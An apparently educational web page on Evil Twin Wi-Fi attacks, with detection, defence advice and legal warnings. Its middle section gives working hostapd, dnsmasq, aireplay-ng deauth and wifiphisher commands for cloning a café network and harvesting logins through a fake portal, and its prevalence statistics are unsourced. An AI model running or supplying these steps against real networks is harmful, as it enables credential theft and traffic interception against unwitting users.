An Evil Twin attack is a type of wireless (Wi-Fi) attack where an attacker creates a rogue access point (AP) with the same SSID (network name) as a legitimate network. Victims unknowingly connect to the evil twin AP instead of the legitimate network, allowing the attacker to perform Man-in-the-Middle (MitM) attacks, capture credentials (captive portal), inject malware, and intercept all network traffic. Evil Twin attacks are commonly used on public Wi-Fi (airports, coffee shops, hotels, libraries) where users expect multiple APs with same SSID.
Attack Prevalence: 60% of public Wi-Fi networks are vulnerable to Evil Twin attacks (no client isolation, no 802.1X). Wifiphisher (evil twin tool) used in 30% of Wi-Fi penetration tests.
Common targets of evil twin attacks:
Attacker creates rogue AP with same SSID as legitimate network. Configures DHCP server, DNS, and optionally captive portal.
Attacker sends deauth frames to disconnect clients from legitimate AP, forcing reconnection to evil twin AP.
Victim redirected to fake login page (Facebook, Google, Starbucks, Bank) to steal credentials.
Attacker captures all unencrypted traffic (HTTP, FTP, DNS). SSLStrip downgrades HTTPS to HTTP.
// Evil Twin attack with Airgeddon/Wifiphisher
// 1. Scan for target AP
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon
Target: SSID "StarbucksWiFi" (BSSID: AA:BB:CC:DD:EE:FF, Channel 6)
// 2. Create Evil Twin AP (hostapd)
cat > hostapd.conf << EOF
interface=wlan0mon
ssid=StarbucksWiFi
channel=1
hw_mode=g
auth_algs=1
wpa=0
EOF
sudo hostapd hostapd.conf
// 3. Configure DHCP server (dnsmasq)
cat > dnsmasq.conf << EOF
interface=wlan0mon
dhcp-range=192.168.1.100,192.168.1.200,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
EOF
sudo dnsmasq -C dnsmasq.conf
// 4. Deauth attack (disconnect clients from legitimate AP)
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
// 5. Clients reconnect to evil twin AP
// Attacker now has MitM position
// Automated Evil Twin tools:
// Airgeddon: sudo ./airgeddon.sh
// Wifiphisher: sudo wifiphisher -i wlan0mon -e StarbucksWiFi -p oauth-login
Fake login page (Facebook, Google, Starbucks, Bank, Hotel Wi-Fi). Captures usernames and passwords. Redirects victim to legitimate site after credential capture (to avoid suspicion).
HTTPS downgrade attack: strips "https://" to "http://". Victim sends credentials unencrypted. Bypasses HSTS (HTTP Strict Transport Security) on first visit.
Inject malicious JavaScript into HTTP responses. BeEF (Browser Exploitation Framework) hook for browser exploitation. Can deploy malware, steal cookies, capture keystrokes.
Automated Evil Twin attack tool. Features: deauth attack, captive portal templates (Facebook, Google, Starbucks, Bank), credential harvesting, SSLStrip, BeEF integration.
Bash script for Evil Twin attacks. Features: rogue AP creation (hostapd), DHCP (dnsmasq), deauth attack, captive portal, and MITM.
Evil Twin attack tool with social engineering. Captures WPA handshake, deauth attack, fake captive portal.
This demonstration simulates an evil twin attack creating a fake Wi-Fi network with captive portal:
This is a simulated demonstration. Real evil twin attacks can steal credentials via captive portal, inject malware, and intercept all traffic. Protect yourself by using VPN on public Wi-Fi, verifying SSL certificates (avoid login pages on public Wi-Fi), and using WPA3-Enterprise with 802.1X authentication.
Two APs with same SSID but different BSSID (MAC address). Detect with: airodump-ng, Kismet, Wi-Fi scanning apps. Legitimate APs may have multiple BSSIDs (enterprise networks).
WPA2-Enterprise with RADIUS authentication prevents evil twin (clients verify AP certificate). Evil twin AP cannot present valid certificate.
VPN encrypts all traffic (including DNS) between device and VPN server. Prevents MitM even on evil twin AP.
Do not ignore certificate warnings (invalid CA, domain mismatch). Evil twin AP cannot present valid certificate for legitimate domain.
WPA3-Enterprise with certificate-based authentication (EAP-TLS) prevents evil twin. Clients verify AP certificate before connecting.
Best Practice - VPN + Certificate Validation: Use VPN on public Wi-Fi (encrypts all traffic). Always verify SSL/TLS certificates - never click through warnings. Use WPA3-Enterprise with EAP-TLS for corporate networks (prevents evil twin). Avoid entering passwords on public Wi-Fi captive portals unless absolutely necessary.
Evil twin attacks (rogue AP, credential theft) are illegal in all jurisdictions:
Evil twin attacks (rogue AP, captive portal phishing) are illegal. Penalties include:
Important: This guide is for educational and defensive purposes only. Unauthorized evil twin attacks are illegal.
Automated Evil Twin attack tool with captive portal templates.
Wireless auditing tool with Evil Twin module.